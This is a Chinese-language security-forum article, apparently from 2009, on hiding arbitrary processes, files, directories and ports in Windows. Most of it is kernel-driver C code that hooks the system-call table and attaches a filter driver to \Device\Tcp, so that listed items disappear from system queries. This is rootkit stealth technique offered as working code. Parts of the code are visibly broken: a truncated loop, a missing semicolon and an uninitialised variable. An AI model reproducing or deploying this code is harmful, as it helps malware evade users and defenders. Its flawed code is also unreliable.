首页 网络安全 安全学院 查看内容

如何隐藏任意进程,目录/文件,注册表,端口

2009-1-20 10:09 581 0

摘要:   查找进程,目录/文件,注册表等操作系统将最终调用 ZwQueryDirectoryFile,wQuerySystemInFORMation,  ZwXXXvalueKey 等函数。要想拦截这些函数...
关键词: ptr NextEntryDelta SystemInFORMatio ULONG STATUS curr FileInFORMationB name DWORD TcpgetDevice

  查找进程,目录/文件,注册表等操作系统将最终调用 ZwQueryDirectoryFile,wQuerySystemInFORMation,  ZwXXXvalueKey 等函数。要想拦截这些函数达到隐藏目的,需先自己实现以上函数,并修改系统维护的一个  SYSCALL 表使之指向自己预先定义的函数。因 SYSCALL 表在用户层不可见,所以要写 DRIVE 在 RING 0 下才可修改。关于如何修改已有文章详细介绍过,这里不在详述。(可以参见 sysinternals.com 或 WebCrazy 所写的文章)。查找端口用的是 TDI 查询。TDI 导出了两个设备 \\Device\\Tcp 与 \\Device\\Udp。我们可以利  用设备过滤驱动的方法写一个 DRIVE 把这两个设备的所有 IRP 包接管过来进行处理后再传给下层驱动。以达到隐藏任意端口的目的。上述提到的方法不是新东西,是在N年前就已经有的老技术。俺现在将它贴出来只不过为了充实下版面,灌灌水罢了。高手们还是别看了。下面是我 DRIVE 中隐藏任意进程,目录/文件,端口代码片段。  (注册表操作在 RegMon 中写的很详细,这里就不列出了)  Code:  --------------------------------------------------------------------------------  typedef struct _FILETIME  {  DWORD dwLowDateTime;  DWORD dwHighDateTime;  } FILETIME;  typedef struct _DirEntry  {  DWORD dwLenToNext;  DWORD dwAttr;  FILETIME ftCreate, ftLastAccess, ftLastWrite;  DWORD dwUnknown[ 2 ];  DWORD dwFileSizeLow;  DWORD dwFileSizeHigh;  DWORD dwUnknown2[ 3 ];  WORD wNameLen;  WORD wUnknown;  DWORD dwUnknown3;  WORD wShortNameLen;  WCHAR swShortName[ 12 ];  WCHAR suName[ 1 ];  } DirEntry, *PDirEntry;  struct _SYSTEM_THREADS  {  LARGE_INTEGER KernelTime;  LARGE_INTEGER UserTime;  LARGE_INTEGER CreateTime;  ULONG WaitTime;  PVOID StartAddress;  CLIENT_ID ClientIs;  KPRIORITY Priority;  KPRIORITY BasePriority;  ULONG ContextSwitchCount;  ULONG ThreadState;  KWAIT_REASON WaitReason;  };  struct _SYSTEM_PROCESSES  {  ULONG NextEntryDelta;  ULONG ThreadCount;  ULONG Reserved[6];  LARGE_INTEGER CreateTime;  LARGE_INTEGER UserTime;  LARGE_INTEGER KernelTime;  UNICODE_STRING ProcessName;  KPRIORITY BasePriority;  ULONG ProcessId;  ULONG InheritedFromProcessId;  ULONG HandleCount;  ULONG Reserved2[2];  VM_COUNTERS VmCounters;  IO_COUNTERS IoCounters;  struct _SYSTEM_THREADS Threads[1];  };  // 隐藏目录/文件  NTSTATUS HookZwQueryDirectoryFile(  IN HANDLE hFile,  IN HANDLE hEvent OPTIONAL,  IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,  IN PVOID IoApcContext OPTIONAL,  OUT PIO_STATUS_BLOCK pIoStatusBlock,  OUT PVOID FileInFORMationBuffer,  IN ULONG FileInFORMationBufferLength,  IN FILE_INFORMATION_CLASS FileInfoClass,  IN BOOLEAN bReturnOnlyOneEntry,  IN PUNICODE_STRING PathMask OPTIONAL,  IN BOOLEAN bRestartQuery)  {  NTSTATUS rc;  CHAR aProcessName[80];  ANSI_STRING ansiFileName,ansiDirName;  UNICODE_STRING uniFileName;  PP_DIR ptr;  WCHAR ParentDirectory[1024] = {0};  int BytesReturned;  PVOID Object;  // 执行旧的ZwQueryDirectoryFile函数  rc = ((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile))(  hFile,  hEvent,  IoApcRoutine,  IoApcContext,  pIoStatusBlock,  FileInFORMationBuffer,  FileInFORMationBufferLength,  FileInfoClass,  bReturnOnlyOneEntry,  PathMask,  bRestartQuery);  if(NT_SUCCESS(rc))  {  PDirEntry p;  PDirEntry pLast;  BOOL bLastOne;  int found;  p = (PDirEntry)FileInFORMationBuffer; // 将查找出来结果赋给结构  pLast = NULL;  do  {  bLastOne = !( p->dwLenToNext );  RtlInitUnicodeString(&uniFileName,p->suName);  RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE);  RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE);  RtlUpperString(&ansiFileName,&ansiDirName);  found=0;  // 在链表中查找是否包含当前目录  for(ptr = list_head; ptr != NULL; ptr = ptr->next)  {  if (ptr->flag != PTR_HIDEDIR) continue;  if( RtlCompareMemory( ansiFileName.Buffer, ptr->name,strlen(ptr->name) )  == strlen(ptr->name))  {  found=1;  break;  }  }//end for  // 如果链表中包含当前目录,隐藏  if(found)  {  if(bLastOne)  {  if(p == (PDirEntry)FileInFORMationBuffer )  {  rc = 0x80000006; //隐藏  }  else  pLast->dwLenToNext = 0;  break;  }  else  {  int iPos = ((ULONG)p) - (ULONG)FileInFORMationBuffer;  int iLeft = (DWORD)FileInFORMationBufferLength - iPos - p->dwLenToNext;  RtlCopyMemory( (PVOID)p, (PVOID)( (char *)p + p->dwLenToNext ),  (DWORD)iLeft );  continue;  }  }  pLast = p;  p = (PDirEntry)((char *)p + p->dwLenToNext );  }while( !bLastOne );  RtlFreeAnsiString(&ansiDirName);  RtlFreeAnsiString(&ansiFileName);  }  return(rc);  }  // 隐藏进程  NTSTATUS HookZwQuerySystemInFORMation(  IN ULONG SystemInFORMationClass,  IN PVOID SystemInFORMation,  IN ULONG SystemInFORMationLength,  OUT PULONG ReturnLength)  {  NTSTATUS rc;  ANSI_STRING process_name,process_uname,process_name1,process_name2;  BOOL g_hide_proc = TRUE;  CHAR aProcessName[80];  PP_DIR ptr;  int found;  // 执行旧的ZwQuerySystemInFORMation函数  rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInFORMation)) (  SystemInFORMationClass,  SystemInFORMation,  SystemInFORMationLength,  ReturnLength );  if(NT_SUCCESS(rc ))  {  if( g_hide_proc && (5 == SystemInFORMationClass))  {  // 将查找出来结果赋给结构  struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES  *)SystemInFORMation;  struct _SYSTEM_PROCESSES *prev = NULL;  // 遍历进程  while(curr)  {  if((0 < process_name.Length) && (255 > process_name.Length))  {  found=0;  // 遍历链表  for (ptr=list_head;ptr!=NULL;ptr=ptr->next )  {  if (ptr->flag != PTR_HIDEPROC) continue ;  if (memcmp(process_name.Buffer,ptr->name,strlen(ptr->name)) == 0)  {  found =1;  }  }  // 判断如果是隐藏进程名则覆盖掉此进程名  while(found)  {  if(prev)  {  if(curr->NextEntryDelta)  {  prev->NextEntryDelta += curr->NextEntryDelta;  }  else  {  prev->NextEntryDelta = 0;  }  }  else  {  if(curr->NextEntryDelta)  {  (char *)SystemInFORMation += curr->NextEntryDelta;  }  else  {  SystemInFORMation = NULL;  }  }  if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);  else  {  curr = NULL;break;  }  // 遍历链表  found = 0;  for (ptr=list_head;ptr!=NULL;ptr=ptr->next )  {  if (ptr->flag != PTR_HIDEPROC) continue ;  if (memcmp(process_name.Buffer,ptr->name,strlen(ptr->name)) == 0)  {  found = 1;  }  }  }  }  if(curr != NULL)  {  prev = curr;  if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);  else curr = NULL;  }  }  }  }  return(rc);  }  //隐藏端口  PDEVICE_OBJECT m_TcpgetDevice;  PDEVICE_OBJECT TcpDevice;  UNICODE_STRING TcpDeviceName;  PDRIVER_OBJECT TcpDriver;  PDEVICE_OBJECT TcpgetDevice;  PDEVICE_OBJECT FilterDevice  PDRIVER_DISPATCH Empty;  NTSTATUS status;  Empty = DriverObject->MajorFunction[IRP_MJ_Create];  RtlInitUnicodeString( &TcpDeviceName, L"\\Device\\Tcp");  //得到已有的设备指针  status = IoGetDeviceObjectPointer( &TcpDeviceName,  FILE_ALL_ACCESS,  &FileObject,  &TcpDevice  );  if(!NT_SUCCESS(status))  {  DbgPrint("IoGetDeviceObjectPointer error!\n");  return status;  }  DbgPrint("IoGetDeviceObjectPointer ok!\n");  // 建立设备  status = IoCreateDevice( DriverObject,  sizeof(DEVICE_EXTENSION),  NULL,  FILE_DEVICE_UNKNOWN,  0,  FALSE,  &FilterDevice  );  if(!NT_SUCCESS(status))  {  return status;  }  // 加入设备  TcpgetDevice = IoAttachDeviceToDeviceStack( FilterDevice, TcpDevice);  if(!TcpgetDevice)  {  IoDeleteDevice(FilterDevice);  DbgPrint("IoAttachDeviceToDeviceStack error!\n");  return STATUS_SUCCESS;  }  m_TcpgetDevice = TcpgetDevice;  // 加到过滤函数中处理  for(i=0;i {  if((TcpDriver->MajorFunction!=Empty)&&(DriverObject->MajorFunction==Empty))  {  DriverObject->MajorFunction = PassThrough;  }  }  ObDereferenceObject(FileObject);  NTSTATUS PassThrough( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )  {  NTSTATUS status;  PIO_STACK_LOCATION pIrpStack;  pIrpStack = IoGetCurrentIrpStackLocation( Irp );  //如是查询则完成 IRP  if ( pIrpStack->Parameters.DeviceIoControl.IoControlCode ==  QUERY_INFORMATION_EX)  {  //这里可以近一步判断某个端口  Irp->IoStatus.Status=STATUS_SUCCESS;  IoCompleteRequest(Irp,IO_NO_INCREMENT);  return STATUS_SUCCESS;  }  //复制当前 IRP  IoCopyCurrentIrpStackLocationToNext(Irp);  IoSetCompletionRoutine( Irp,  GenericCompletion,  NULL,  TRUE,  TRUE,  TRUE  );  //传递  return IoCallDriver( m_TcpgetDevice, Irp);  }
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部